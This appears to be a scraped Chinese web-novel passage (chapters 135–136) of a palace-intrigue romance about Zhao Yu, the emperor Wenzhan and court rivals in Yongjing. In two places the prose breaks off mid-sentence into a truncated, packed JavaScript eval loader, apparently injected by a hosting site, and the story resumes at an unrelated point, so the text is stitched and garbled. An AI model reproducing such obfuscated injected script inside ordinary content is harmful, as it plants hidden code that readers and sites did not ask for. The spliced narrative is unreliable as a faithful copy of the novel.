她想,此时,她大约可能大致了解了,文湛说的那句话的真正含义,——先帝亲自下诏册封的亲王,……,大郑最高门第的公卿,……与山中落魄书生一样吗? 难懂话外之音。 怪不得他爹说过,——能在雍京混的有名有姓的人都是禽兽,即使是华服罩身也都是衣冠禽兽。 …… “那您也是吗?” “也许不是,所以我才是草民赵毓。” “也许?……” “嗯,有的时候,我自己也看不清楚自己。” …… 客人到了。 雍京飘着细雨。 祈王府四周,坚壁清野,寸草不生。 一个人撑着一把伞,从远处走来,不像踏平杀伐,反而像是闲庭信步。 王府正门台阶之下,他将手中的油纸伞稍稍抬起,一张脸就在伞下露了出来。 那双眼睛! 赵格非很难说,自己看到这双眼睛是个什么感觉,就是觉得像水,很柔和的水。 清蓝色。 不深。 那人拾阶而上。 一步,一步,又一步。 他来到王府正门的门槛外,收了手中的伞,压低,在门槛上磕了磕,让水出来。 一切动作都很闲适,像个游子回家。 赵毓帮他甩了甩湿伞,“你从哪儿淘换来的破伞,怎么还有洞?” 殷忘川单指碰伞,将伞柄伸到赵毓眼前,让他自己看,——伞柄是酸枝木,大篆刻着‘祈王府’三个字。 赵毓,“再好的东西用久了,也该扔了。” “衣不如新人不如故。”殷忘川,“不想扔。” 赵毓没说话,将伞还给他,右手的袖子动了一下,指了指赵格非,“这是我闺女。” 赵格非向前走了一步,以晚辈的身份行礼,却没有说话。黄枞菖方才忘记告诉她,这位‘前王府过了明面的那个啥’,姓甚名谁了。 赵毓,“你应该叫他殷二叔。” 赵格非恭敬的向着殷忘川又一施礼,口中来了一句,“殷二叔。” 殷忘川,“……” 黄枞菖,“……” 赵毓,“小殷也是体面人,我闺女总不能叫你殷大叔吧。得了,这不是什么大事儿,我在外面站的也不短,屋子里面有热茶酒菜,咱们啥事都进去说。”说着,伸手,做出一个让的姿势。 殷忘川单手握伞垂下,不再说什么,径自向里走。赵毓跟着他,而赵格非和黄枞菖则跟着赵毓。只是,……,在浓重的药味儿和名贵熏香掩盖下,她闻到了淡淡的血,飘着甜味儿,有些发腻。 赵毓边走边说,“这里我也是很多年没进来了,一直都是黄瓜在管,他招呼人翻地除草,这里才没有荒。” 殷忘川回头看了一眼黄枞菖,其实,他俩不熟,真的不熟,一直都不熟,“多年未见,大总管发福了。” 赵毓惊诧,“黄瓜原先是个蟹壳黄脸,可是他过午不食很多年,现如今已经瘦的快成黄花菜干儿了。” 黄枞菖只是安静的注视着殷忘川,不言不语。 殷忘川则说,“年月太久远,我忘记大总管当年的模样了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵毓将木盒子推到殷忘川手边,“当年你告诉我,西疆太平了我去拿这根玉钗。如今那里也是一言难尽,这根钗,我无功受禄,寝食难安,所以原物奉还。” 他说着,亲手打开了木盒,里面是一根玉钗。 正是那一晚,从殷忘川手边飘落,劈开赵毓束发的红莲玉扣的钗。 如今赵毓束发的依旧是那枚红莲玉扣,只不过用黄金化成极其细密的丝线,弥合了所有的碎玉裂缝。 殷忘川没动手,“送你的,就是你的。要是不喜欢,随手丢弃,甚至碎成粉,都随你。” 赵毓,“这几天我想来想去,也明白了。你原先想要炸那批石脂水,后来,见我在哪儿,甚至后来见到了文湛,你临时变了主意。你不想杀我,甚至不想杀文湛,你想要做的事情只是引起大|麻烦,将雍京城的守军搅乱,好让程风跪在午门。” “不。”殷忘川,“我未必不想杀他。只不过,他死,你摄政,对于我而言,情势也不会好转。” 赵毓用他的筷子为他夹了一块鱼肉,放在他的吃碟中。 殷忘川拿起来筷子,吃了一口鱼肉。 赵毓,“你想我做什么?” 殷忘川,“徐绍。” “他阻了我南下的道。雄鹰也飞不过去的大鲜卑山?如果没有那位徐总督,对于我,一马平川。” “承怡。” “既然徐绍是你为大郑皇帝铸造的北境长城,……” “那么。” “我要你亲手毁了他。” …… 在赵格非看来,这顿饭吃的貌似安宁,其实氛围冷淡无比。原来,战场上你死我活的敌人,不一定见面就如同彼此撕咬的野兽,也是可以坐下来心平气和吃完一顿饭菜的。 宴罢,她随赵毓送客人出府门,雍京连绵了数日的雨水终于停了。 殷忘川撑着那柄旧伞,像老友道别一般对赵毓说,“留步。” 徐缓下台阶。 去到平地,回望祈王府,还有站在正门廊檐下的赵毓,——那人一身黑色缂丝,在他头顶的黄金匾额的映衬下,犹如剥离了矿石粉末的铁,显得坚硬异常,却真实无比。 殷忘川明白,西疆边境上那个穿着土布褂子,蹭没藏大和尚寺庙中的吃喝,端着水罐子给雕刻佛像的工匠们破碗中倒水解渴的‘赵毓’不过是沙漠中的海市蜃楼,《金刚经》中的梦幻泡影,已经烟消云散了。 赵毓一直看着他。 黄枞菖忽然凑近,极抵的声音问,“王爷,是否下令截杀?” 赵毓摇头,“拦不住,不要再枉送性命。” “承怡。”殷忘川终于转身离开,向前走,声音却留在身后,“我在北境等你。” 135. 135 135 大正宫。 赵毓让黄枞菖将赵格非送到太贵妃的寿春宫中,回到鹧鸪殿,谢翾飞为他重新裹了伤。 谢翾飞用烈酒清洗了三遍赵毓的伤痕,赵毓疼的血肉都在打颤,谢大夫则说,“不能饮酒,不能吃辛辣的东西,还有,……” 此时,他将一本《清心谱庵咒》,一本《老子清心诀》,还有一本《论语》放在赵毓面前。 “这三本都不错,随心挑选一本,好好读读。” 谢翾飞开始上药裹伤。 赵毓还当真仔细看了一眼,总觉得牛鼻子都是妖道,大和尚们说话都不靠谱,于是拿起《论语》来。 翻开。——君子不器。他手指挡住‘器’字下面两个口,就是‘君子不哭’。这是一个极端无聊的笑话,在毓正宫的时候,他玩过很多遍,已经厌烦了。 再翻。——如有王者,必世而后仁。……,这句,倒是值得好好再看,好好再想想。 谢翾飞用细带将赵毓的手束好,又叮嘱了一遍,“切记,不能动怒,尤其不能暴怒。” 卢沟晓月。 寅时。 按照雍京钦天监的宣文,雍京的寅时是黎明之前,夜与日的交界,天空像薄黑色的纱幕,笼罩着即将破晓而出的太阳。 越筝勒住马。他眼前就是运河,飘着几艘小船,灯火月影也照不到的地方。崔珩已经换了青衣,仿佛当真就是一个行脚散商,带着伙计和几船货物南下贩卖。 看见雍王到了,崔珩过来帮忙牵马坠蹬。 等越筝下马,他才规矩施礼,“南下的关防已经送到,再劳烦雍王殿下亲自过来,实在是,……” 越筝打断他,“崔侯此时动身,时机令人难以琢磨。” 崔珩屏退左右,引着越筝到河边,安静走了几步,“殿下的意思是,……” 越筝,“要说早,崔侯已经拖延了这许久;要说晚嘛,……”他向前走了两步,整个身体从里到外散发着浓重的熏香,映衬着运河水,带着潮湿的冷意。“我长兄重伤,这个时候,崔侯怎么还能如此镇定,安然南下?” 崔珩看着他,挑了一下眉,带着淡漠。 越筝看见了。他知道,这么多年,此人似乎是铜墙铁壁,对他从未有一丝半毫的善意,于是微微一笑,说,“崔侯这个眼神,像极了我长兄,不过,他比你温和。” 崔珩则收起来那一身的峥嵘,不错半分礼数,“王命最重。” “王命?”越筝笑的见缝插针,并且时机十分准确,“恐怕,令宁淮侯南下的命,并非出自圣上,而是,……出自我长兄之手。” “崔某奉的是圣命。”崔珩安静如呆鸡,“殿下,似您方才这种暗示圣上权柄受制的话,不要再说了,对您不好。” 越筝听了,也是没有过分的情绪,似乎他的脸上也挂上了一层面具,他伸手,分开眼前的芦苇,“从小到大,崔侯似乎一直讨厌我?” 崔珩摇头,“谈不上。” 河水暗涌,一丝微弱的波光,泛在越筝的脸上,他那双鸦翅一般的眉,秀致却冷然。 像。 的确像! 越筝相貌像皇帝,尤其那道眉,像足了文湛。 雍王今年十九岁。 十四年前,文湛还是东宫,也是十九岁。 …… “崔公子,小王爱重你的才华,并不忍心相逼若此。小王说句明话,若崔公子为我所用,他日封疆入阁,指日可待。” 同时,文湛不等崔珩说话,他又说,“崔公子一直在江南经商,久不在雍京,不知小王脾气。小王也可一并告知。小王家法甚严,唯独对从小一起长大的长兄承怡宽厚,除此之外,再无例外。” 文湛忽然一笑,艳到极点,带着肃杀,“凡不能为小王所用者,亦不能为他人所用。不知小王言语,崔公子可明白?” …… 如今,顶着张与文湛相似的脸的越筝,也来这一套? 对他威逼利诱,连拉再打? …… 大正宫,赵毓在吃饭。 他一只手实在不方便,黄枞菖在他旁边迅速扒拉完一碗面条就想给他端碗喂饭,赵毓用筷子把他挡回去。 “吃你自己的,别管我。” 饶是这么说,黄枞菖还是在一旁,看他想吃什么,就用手指顶一下那个盘子,让赵毓能夹到。 就这么一口,一口,又一口的吃着。 文湛回来了。 黄枞菖连忙离座。 文湛坐赵毓右手侧,看了一眼,让人端过来装水的紫金盆,净了手,黄枞菖递过去一双干净的筷子,开始给赵毓拆鱼骨。 赵毓从碗里抬眼,看见文湛,却听见皇帝说,“谈的怎么样?” 赵毓,“崩了。” 文湛没说话,意料之中。他将净了骨的鱼肉放在赵毓碗中,又夹了一块酒酿蒸排骨。 赵毓,“我吃不了这么腻。” “多吃一些。”文湛平淡的说,“在外面受了气,回来多吃两口才好,不然总是意难平。” 赵毓,“……” 文湛,“为了讨好那位,你一大清早起身,亲自洗手做羹汤,却一口安稳饭都没吃上,回来再不吃饱,今晚,你的肚子里面估计只剩下气了,这样伤身。” 赵毓,“……” 文湛将赵毓的饭碗端过来,拿着他的瓷勺子,舀了饭,放了鱼肉和排骨,又叠加了一块粉蒸肉,直接怼到赵毓嘴巴边上。 ——最难消受美人恩! 赵毓觉得自己胃里一阵一阵的泛酸,此时,也只能张口,——啊。将饭菜吞下。 黄枞菖看赵毓咀嚼的特别痛苦,不忍目睹,文湛瞥了一眼,吓得他连忙低头。 文湛温和的问赵毓,“怎么,不好吃?” 赵毓咬牙切齿的挤出来一个笑,“好吃!微臣何德何能,得陛下亲手喂饭,特别香甜!” 字字都是泪。 …… 这些年,即使在雍京,崔珩都没怎么见过越筝。 一来他们一直都陌生,即使当年赵毓还是祈王,还在雍京,可崔珩却是崔碧城,一个普通商贾,彼时的他与帝王七子之间身份犹如云泥。 再来,他们年岁相差太远,根本就没有任何话可聊。崔珩本来就是鬼狐精怪,一般聪敏的成人对于他尚且显得愚笨,更不要说越筝一个直到今天方才十九岁的少年。 第三,此时,崔珩是贵戚,越筝则是宗室亲王,他们两个私相授受,无论谈什么,怎么看,怎么都像灭族大罪。他崔珩端着今上这碗饭吃的挺香甜的,还不想这么快脑袋搬家。 崔珩懒得猜,于是躬身施礼,才说,“殿下,您要是没什么事吩咐,我就告辞了。” 越筝,“东宫对您十分倚重,虽然灵均并不曾直接表现出来,可是我们都知道,您救过他母亲的性命,他是个孝顺的孩子。可是,……灵均越是孝顺,我长兄将来的处境就越艰险。” 他转身,“陛下千秋万载之后,如果灵均登基,伴随着六哥葬入万年吉壤的应该不会是长兄,写在太庙牌位上享受万世供奉的也应该是灵均的母亲姜氏。那时,我长兄又该如何?” “崔侯,不想为我长兄再搭一条路?” 崔珩不说话,只是安静的看着越筝。 运河水流淌千余年,这是隋炀帝功业。 是功,也是业。 映着运河水,越筝不知道崔珩在想什么。崔珩忽然问了一句,“承怡离京的时候,殿下虚岁六岁?” “是。”越筝点头,“他走的时候,已经过了正月,陛下登基之后已经改元,是元熙元年。” “也是那一年,……”崔珩说,“太子母族谋逆被诛,同年,太子降生。” 越筝也是点头,因为崔珩说的都是事实。 崔珩继续,“这些年来,太子的母亲过的怎么样,殿下知晓吗?” “活着。”越筝说。 崔珩,“在哪里活着?” 越筝没回答。 崔珩,“姜氏不在冷宫,就在后宫中,虽然居住的宫殿很偏僻,却没有受虐待磋磨,供奉俱全,灵均想要去问安,也能去,殿下知道为什么吗?” 越筝依旧不语。 崔珩,“因为我姑妈太贵妃执掌后宫。” 此时,越筝低头,手中抚过一丛芦苇。 崔珩,“我们崔家祖上都是本本分分的农民,我祖父养猪杀猪卖猪肉发家,我姑更是冉庄的猪肉西施,自小就漂亮,人长的漂亮,做事也漂亮,因为贪图赵汝南的皮相而让整个崔家走了一条不能回头的路。” “这,我们认。” “福祸相依,我姑懂。人在得意的时候不能忘形,跌落深渊的时候不能散了精气神。这些道理不用看书,多种几年地,什么都明白了。如今都是靠天吃饭,年成有好就有坏。好了,仔细屯粮,坏了,出去要饭。庄稼人不矫情,不娇气,怎么都能活,也必须能活。” “当年我姑可没想着承怡能回京,也没想着灵均能正位东宫,她做这些,不过就是自己被后宫困了一辈子,觉得后宫的女人太苦,能帮就帮一把,能护着,就护一下。” “灵均母子和我姑处的还不错,没事儿就去磕头问安吃点心,只是,这些事,外人不知道罢了。” 崔珩最后咧嘴,像是笑,又像是一副山水画裂缝了,“殿下,我年岁不小了,等您真正用的上我的时候,我已经是老朽不堪,眼花耳聋,做不了什么了。” 越筝也笑,“崔侯的话,我可不太明白。” 崔珩,“不明白也好。” 越筝,“由于端午那夜的纷乱,那个名叫珊依的西疆遗孤连累梁十一全家以及相关人等全部下了诏狱,雍南公学不日查封,崔侯走的安心?” 崔珩似乎没听见,最后施礼,“殿下留步。”说完,后退两步,转身离去。 越筝的手抚过芦苇,死了一片。 …… 大郑诏狱。 一间屋子,紧紧挨着石头砌成的牢房,虽然正午日头正盛,却似乎有阵阵阴风袭来。薛宣平勉强压制住心中的不安,像一墩老榆木疙瘩一般,老老实实的墩在椅子上。桌面上还有一个瓷碗,满着便宜的苦茶。 他对面是个面色菜白,仔细看,还带着青绿的消瘦中年男人,脚上是官靴,身上的官衣,不常见,却也不是完全让人摸不到头脑,——刑部。 这名刑部吏低头看着面前的所有文档,一叠一叠的宣纸,还夹杂着元承行的银票,不过不是贿赂,而是呈堂证供。如今,雍京城很多商户不再使用白银,而是换成元承行的银票,汇票,还有债票。 “薛先生,您请喝茶。” 那名吏说着,甚至抬头笑了一下,看起来貌似温和,可是他薛宣平是什么人,什么江湖阅历,什么犀利眼神?他只一眼就看透这个人的皮!刑部吏青面獠牙,就是幻化人形的吃人鬼怪! 倒霉! 倒霉透顶! 倒霉透顶外加邪门! 薛宣平现在都没弄清楚端午那天夜里究竟发生了什么,可是倒霉的事都是从那天夜里开始的。他现在脑子乱的像锅菜糊糊,只有家乡有灾,出门讨饭的时候才吃的东西。 他现在就记得那夜他在城门外点算了人数,押送石脂水进雍京,然后兵部派来接他们进城的人出了纰漏,赵毓来了,他的小白脸也来了,随后,赵毓用了个心机,钓出来内奸。 再然后,…… 火。 却又灭了。 杀人。 死了很多人。 赵毓,…… 对,赵毓,他是个不得了的大人物。 他可以调动很多军队,甚至是龙骑禁军! 端午夜,那个地狱修罗一般的杀人疯子叫他什么来着?——承怡!祈王承怡?! 不过,……怪不得! 薛宣平终于抚平了心中多时的疑问: ——赵毓那个号称‘西北王’的老丈人对他彬彬有礼;那个真的俊的出身世家的小白脸心甘情愿的伺候。 祈王。 先帝凤化年间宠冠诸王的皇长子,拥有雍京城,哦,不,是大郑王朝最尊贵的王府,最泼天的权势,最丰厚的年俸,最风流的传奇,最,…… 不对呀! 薛宣平又疑惑,——那个祈王承怡早已见了鬼,他怎么又活啦?! 老赵。 赵毓。 承怡。 祈王?! 那个该死的活见鬼的端午夜,那些该死的活见鬼的石脂水,这个该死的活见鬼的雍京,这个该死的活见鬼的诏狱!说来说去,这个该死的活见鬼的世道,还让不让老实人活啦????? “薛先生。”刑部吏忽然开口,“雍南公学收一名叫做珊依的女孩子做学生,她母亲是西疆番邦女子这件事,……” “青天大老爷!” 薛宣平忽然扑通爬地上,开始嚎,“我冤啊,我真的冤啊!那个丫头真的不关我的事!” “大老爷为我伸冤!” “都是一个叫做梁十一的人,他居心叵测,用两坛子腌肉把我们东家鬼迷了心窍,让我们东家收了那个丫头。 “我们雍南学堂门户很清白的,学生们都是贫苦农家子弟,读书不收钱的,我们还管饭,我们真的是好人啊!” “我们东家姓赵,名毓。他也是个眼皮子浅的,一时嘴馋,被梁十一的猪油和猪肉懵了心窍,才收那个丫头进学堂。” “我们什么都不知道!” “青天大老爷为草民做主!” 薛宣平嚎着,脸蛋子上鼻涕眼泪一把,甫一进门的赵毓被吓了出去。 门外。宁淮侯属官甘棠看着他,一张脸好像用面糊黏了一层,只等起锅烧油,炸成外焦里嫩,外面看,什么表情都无,却无声的问,——这就是您的大掌柜?能饭否? 赵毓感觉自己左肩膀子更疼了。——这个尘世,真他娘的寂寞如雪! 甘棠进去接人。 他是崔珩侯府署官,跟随崔珩南北做了不少事,在六部之中也认识诸多办实事的官吏,薛宣平本来也没啥大事儿,只是被叫过来问询,捞他出诏狱,此等小事,县官不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们刚走出西市,覆罗古的院落就炸了。文湛下意识扯过赵毓,护在身后,可是,他们却连灰尘也没有沾染到。 夜里雪下的急而厚,湮灭了那本来就微弱的火光。 “背叛了洪丁,覆罗古知道自己活不了。而且,……” 赵毓没有继续说下去。 ——他们之间的人情债,需要以命相抵。 珊依,就是命债吗? …… 不要,……,不要去。 …… 忽然,一个女子微弱的声音,穿过赵毓的耳,直击他的脑,——那是谁? 不要,……,不要去。——是一个母亲,最后一丝残念穿越了生死的界限。 珊依。 高昌语中的希望。 你是我的女儿。 你是我的希望! ——不要,……,不要去。 脚步声,赵毓回神。 薛宣平出门,打破了赵毓眼前的幻境,他定了定神,却发现,薛宣平一见是他,眼神有些不对。 “老赵?” “咋?” 薛宣平先是看了看赵毓的影子,虽然诏狱的院子发阴,那是因为院墙高,树密,正午日头光穿过浓密的树枝树叶透下来,落在赵毓脑瓜顶上。赵毓身侧是影子,和常人一般无二。——嗯,是个大活人。 “您咋亲自来了?” 赵毓,“……” 你他娘的发什么猪瘟?!! 此时,甘棠也出来,“赵先生,薛先生人我给您带出诏狱,他本来就是个本分的生意人,也没沾惹什么大事,刑部招他过来也只是问几句话,不过,雍南公学的事,我却帮不了您。毕竟,珊依是那里的女弟子,如今出了这样的大事,没有丝毫处置,实在说不过去。您可否暂时放手,等侯爷回京再议?” 赵毓起身,“别这么说,你能陪我来一趟,我已经很感激了。本来想请你喝酒,今天实在不成,我得赶紧去南城。” “不敢讨您的酒喝。”甘棠,“侯爷出京的时候吩咐了,以后表少爷有任何事,只管吩咐。我们能做的事情,尽力;做不来的事,等他回京。” 再说什么都是客气,赵毓拱了拱手,扯着还没回神的薛宣平的后脖领子,“快走,不然你等着在诏狱喝轮回水吧。” “轮回水?”薛宣平脑袋瓜子还没转过来,“那是啥?” “尿!” “啥?” “诏狱中的人想要活命,大多喝过这个,不然就得活活渴死。” 薛宣平,“妈呀!”一声,立刻蹿了出去。 一架马车停在诏狱后巷的老槐树下。赵毓走过去,靠在马车车厢上停了一下,文湛下车,仔细扶着赵毓上车,薛宣平却听见赵毓说道,“一会儿我和老薛去南城,你找个地方凉快凉快,别跟着过去裹乱。” 薛宣平再看文湛,仿若牛王爷开了第三只天眼,破除人世间一切迷障。 此时,他的内心竟然升腾起一丝的不忍目睹。 ——唉,原来,如此雍容的世家公子,在赵毓眼里,也只是侍奉枕席而已,折辱斯文,真是折辱斯文。 …… 昨夜,鹧鸪殿。 赵毓脑子不知道想什么,有些抽筋,脱口而出一句,“皇上,我觉得,……”文湛叼着他的嘴唇,一个劲的嘬,堵得赵毓连‘饶命,轻点儿’这些保命的话都说不出来。嘴里挣扎不来,身子也动不了。文湛卷着他,如同绞杀食物的长蛇、蔓藤一般,令人窒息。真到了风平浪静,赵毓只剩下翻白眼的力气了。 “承怡,……,你方才想说什么?” 想说啥? 赵毓脑子都烧糊涂了,迷迷糊糊来了一句,“陛下,尚能战否?” 这下子,彻底折腾到三更半夜。 今早,赵毓方才回了理智,首先要了一个仵作进诏狱,再来,他说,“我想用雍南公学做饵,钓一钓鱼,看看表面上风平浪静的雍京,到底游着什么大鱼?说实话,端午那夜,午门外和南城出了那么大的事,梁十一阖府下了诏狱地牢,要是雍南公学水毛不沾湿,实在说不过去。” “不行。”文湛当机立断拒绝,“如果你放任雍南公学被封,梁十一全家十几口人就能不明不白的死在地牢,以后,元承行也可能被封,元承行的银票汇票和债票都有可能顷刻之间成为废纸,那是收复北境的军费。再向坏处想,北境的局势有可能进一步恶化,终至糜烂不可收拾。” 赵毓听着头疼,他习惯想要动左手抓脑袋上的头发,扯了一下膀子,生疼,于是换了右手抓,说,“我先去南城,撒些银钱,让公学中的先生们和孩子们回家呆几天。哎,你就别去了,省的真遇到什么人,多生枝节。无妄之灾,哎。” 雍南公学,似乎是没有硝烟的战场。 一切博弈与厮杀都在暗处。 …… 赵毓唤薛宣平赶紧上车。 薛宣平却反而走向文湛,先是诚恳的长叹一口气,对文湛说,“大兄弟,委屈你了。人生不如意之事车载斗量,不要太在意。” 又说,“不过你终究还是命好,跟了老赵。” 文湛挑了一下眉,没说话。 赵毓让马车夫赶车。 沉浸在开天眼喜悦中的薛宣平这才回神,连滚带爬的扑向赵毓的马车,他早将赵毓是真正的王公这个恐怖的秘密抛于脑后,连哭再骂得最后终于扒上了赵毓的马车,随着马车的颠簸,他们飞快驶向雍京南城。 136. 136 136 雍南公学。 赵毓将元承行的账房带过来一位,此时,这位老先生眯着他的那双收敛精光的小眼,正在对着账簿散钱财。 “不要慌,大家不要乱。东家没说咱散伙,只是发点东西。” “凡是咱们公学的人,甭管先生学生,每个人都有,不要慌。大家静一下,等着叫名字过来就好。” 赵毓看外面院子中人心慌慌,从书桌上炒起来文湛当时摘抄的《论语》字帖集,到外面,搬了个马扎,借力登上一口大缸,双腿分叉,站的稳稳。他左手吊着,于是让薛宣平将字帖卷了卷,做成一个喇叭的样子,重新拿在手中对着嘴,开始喊: “麦收,再加上苦夏。” “大家回去帮家里收收庄稼,种种玉米,扒拉扒拉土豆,也休养休养。咱们做学问求的是一个长久,功课精进不在一时半刻,公学的院子也有些破旧,趁着大伙儿不在,我正好找人修葺一下,等白露过后,蚊子喝了白露水都蹬腿儿,咱们再回来继续读书!” “大伙儿回家,咱们公学不让大家空手。” “先生每位二钱银子的票,外加猪后腿一条,小米一袋。学生们每人一袋小米,一袋红薯,外加一块腊肉!” 他这一嗓子嚷完,院子果然安宁了许多。 人们井然有序,账房和杂役们发钱发米发肉也顺畅许多。 赵毓从水缸上跳下来,“老薛,你去咱们库房,悄悄的,别让人看见,拿些杂役穿的布褂来。” 薛宣平,“啊,你,……,呃,那个,您要干嘛?” 赵毓,“舍不得孩子套不住狼。” “呃,……” 赵毓,“老薛,你最近吃坏了什么,还是咋的?见我还您、您、您,发猪瘟了?” 薛宣平忽然有些扭捏,见左右没人,才压低声音说,“端午晚上,我听见那个阎王爷叫你承怡,第二天,我就听说北城的祈王府周围十里地全部让禁军清了场地。老赵,你是知道我的,我对于祈王府那是了如指掌,一丁点风吹草动,我都能摸到。还有,老赵啊,你是我亲眼见过的第一个,活~~~~着的,名字写在宗室玉牒上的,见了鬼还能重返人间的,大郑王公,特别稀奇,真的!” 赵毓翻白眼看着天空,——今天的日头好大。 薛宣平,“有句话,不知道当讲不当讲。” 赵毓,“……” 不等赵毓回应,薛宣平连忙说,“你那个小白脸,我觉得吧,你得防着点。” 赵毓,“……” 薛宣平仔细说道,“俗话说画龙画虎难画骨,知人知面不知心。那个小白脸见你的权势就扑了过来,可是他那个人,我瞧着根本就不是伏低做小的窝囊废,也许一时之间有求于你就低下|身去,等他目的达成,翻脸无情,根本就不会顾念你,没准还会把你往死里踩。” 赵毓,“……” 薛宣平,“当然,如果你另外有打算,就算我没说。” 赵毓忽然来了兴致,“我有什么打算。” 薛宣平,“我看过几个话本,里面都说,权势滔天的人都懂得韬光养晦,和光同尘。” “虽然我弄不明白你和今上的关系,不过你不是凡人,甭管你是先帝爷亲生的还是他怕没儿子绝种儿抱养的,你都不是凡夫俗子了。老赵,你别这么看着我,祈王不是龙种这种事儿,大伙儿都知道。不管怎么说,你和今上总归是沾亲带故,你们是兄弟。我估摸着皇上他老人家暂时也容得下你。” “要是你再贪恋男|色,和这个小白脸整日厮混,……,实话实话,这个小白脸的确有姿色,你都不知道,你一见到他,两只眼睛珠子冒贼光,一脸饿狗见了大肉包子的馋样,特别丢人!” “可是你只有这样才能让皇上他老人家放心,我觉得,你做得对,这样稳当。” 赵毓用手中的书卷敲了薛宣平的脑袋,一句都没说。 薛宣平觉得自己说到赵毓心坎上了。 一切尽在不言中。 雍南公学的人散了之后,赵毓让兰叶巷的赵大妈,赵大爷带着罗小草一并住在公学院子中。 看家。 赵大妈敛了一叠子草纸和名帖,“老爷,这是这几天来的人,有的送了名帖,有的报了个名字,我给留了底,您过过目?” 赵毓翻看,发现十之八|九是过来募捐的,各种名目,花样繁多,而剩下的就是一些五花八门的东西了。有卖锅的,卖酒的,想要包了公学吃食的,还有一家是卖炮仗的,说他们最近霉运缠身,需要放炮驱邪。 最后,则是南城一家刚开张的天师算命馆,他们坐堂的老爷们据说都是龙虎山的抓鬼天师,行走江湖多年,妖魔鬼怪避退,这次送过来的名帖非常考究,上面写着几个大字,——赶穷神。 赵大妈说,“人家小道童说了,咱们这里最近穷神附体,如果不驱赶,怕纠缠久了,为祸一方。这块地几十年内都做不得生意,再想要做法事驱赶穷神,就得动用天魔法器,花费海量不说,还损害人家的道行。” 赵毓心中默念,——子不语,怪、力、乱、神。 过了两天,赵大叔赶着牛车,带着罗小草给学生们挨家挨户的送笔墨纸砚。 这些学生的家里大抵都很穷,买不起这些东西,原本在学堂上,赵毓他们供给,现在回家中,每日读书练字,消耗大了,却补不上货,怕损了莘莘学子们向学的赤诚之心。 牛车到夕照后街的后面一条街,玉芳给她儿子秦冀买的读书的院子就在这里。 罗小草捧着一叠纸张进屋,玉芳也在。 “多谢黄小姑娘送过来。”如今罗小草官名黄槿,大家都按着新名字叫,“留下来吃顿饭,今天正好有玫瑰酸梅汤。” “不了。谢谢玉芳姨。”罗小草,“赵哥哥在,他让我送完东西就回去吃饭。” 玉芳一听说赵毓也在南城,就让人准备了两个小坛子装了酸梅汤,跟着赵大爷的牛车到了雍南公学。 院子特别空旷。 露天堆着柴火,赵大妈正在生火架生铁架子,她手边是个大木桌,上面堆着盘子,里面全是新鲜的血食,——鹌鹑,兔子,鸭子,鱼,还有一只鹿腿和一整块羊排。 “别的还好说,这鹿腿正经是稀罕物。”玉芳把手中的坛子放下,“看来我有口福。” 赵大妈,“这鹿是今天刚猎的。” “呦,雍京城周围除了那个地方,就没有能猎鹿的猎场。”玉芳说,“这鹿腿是好东西,送过来的那个人,却说了大话。” 雍京周围只有一个猎场可以猎杀到鹿,——南苑猎宫。 赵大妈生起了火,照着脸蛋子红扑扑,“哎呦,有的吃,鹿新鲜就好,别的不管。” “也是。”玉芳点头。 不一会儿,赵毓从草丛深处回来,他后面就是那位俊到不成,却身份成谜的小白脸。 赵毓,“玉芳来了,赶紧坐,哎呀,还带了酸梅汤,有心有心,我一会儿烤肉,我的手艺特别好,你得多吃几块!” 赵毓吊着左手,右手利落收起来手中的弩,是弩,不是弓,这种强|弩是大郑军方管制的武器,等闲人拿不得,那么,拿得的都不是等闲人。察觉到玉芳的眼神,赵毓说,“有小贼。我们过去看了看,逃的快,估计是个过路的。”说完,他自己乐了,“最近八字不太顺,怎么都是鸡鸣狗盗的玩意儿?” 其实最近门户一直有些不太干净,不过他让信得过的十几个兵士换了公学的布褂,一直守备着,没出大事。 罗小草捧着新切的西瓜过来,先给文湛,“叔叔,您吃瓜。” 再捧给赵毓,“哥哥吃。” 文湛坐一边咬了一口瓜,终于忍不住,问罗小草,“你为什么先端给我?” 罗小草,“哥哥说,以后拿吃食先给您。哥哥没说为什么,我觉得,应该是您年岁大,辈分高。” 文湛安静的开始吃瓜,他觉得,自己同在场的任何一个人说话,都是错误。 见火起,玉芳撸起了袖子,请赵大妈找了两条丝带子系住,坐在火堆前,开始烧肉,“赵老爷左手不方便,还是我来吧。” 赵毓坐她旁边,给她打个下手,“玉芳怎么会做这个?” “我的底细,想必赵老爷一清二楚。” 玉芳坦荡的说,“当年我跟着申府那个老头子在南边呆过几年,蛮荒之地,没啥好吃的。老头子心大,想得多,想要的多,每天一睁眼就想着名垂千古,自然不能让御史台抓着一丝把柄,在任上,宁可三餐吃粗粮,太太们自己做盐菜,也不肯给家里人多吃一口肉。我馋,在山野打了兔子,山鸡什么的就自己烤,手艺正经不错。” 她口中的老头子可是申国公宋夷简! 先帝凤化名臣,画像入了凌烟阁名臣塔,内阁定谥号为“文靖”,配享先帝庙庭! 结果,如此人物,在他曾经的近身侍妾口中,居然隐隐带着不堪。 不过,玉芳很快转了话题,“赵老爷,您知道是谁针对雍南公学吗?” 赵毓单手翻动鹌鹑,摇头。 玉芳却笑了,“想来赵老爷心中有数。” 文湛忽然发问,“以玉芳姑娘看,应该是谁?” 玉芳道,“雍南公学刚开门的时候,来了一个落魄学子,公子也许不清楚,赵老爷一定记得真切。” “他是冯不倦。” 文湛一愣,这个冯不倦,是今年春闱杏榜第七,殿试二甲第十三名。 皇帝为什么会记得这个人的名字,一来文湛记性极佳,几乎过目不忘;再来,冯不倦也是极有意思的一个人。 一般人得到他这个成绩,肯定削尖了脑袋瓜子进翰林院,最好可以在微音殿侍候笔墨,求个清贵出身,做‘储相’,以后可以入阁。 而这位,十分直白的说,穷,实在太穷,做不起京官,挨不住清贵。 他自请找个穷乡僻壤的地方做七品芝麻官,这样薪俸就能养活老母亲,可以活。 赵毓点头,“知道。” 玉芳,“冯老爷如今也高中了,想来,也离开了雍京。” 赵毓,“嗯。” 玉芳,“赵老爷为了帮他,却得罪了沈熙载。” …… 沈熙载,姑苏人。 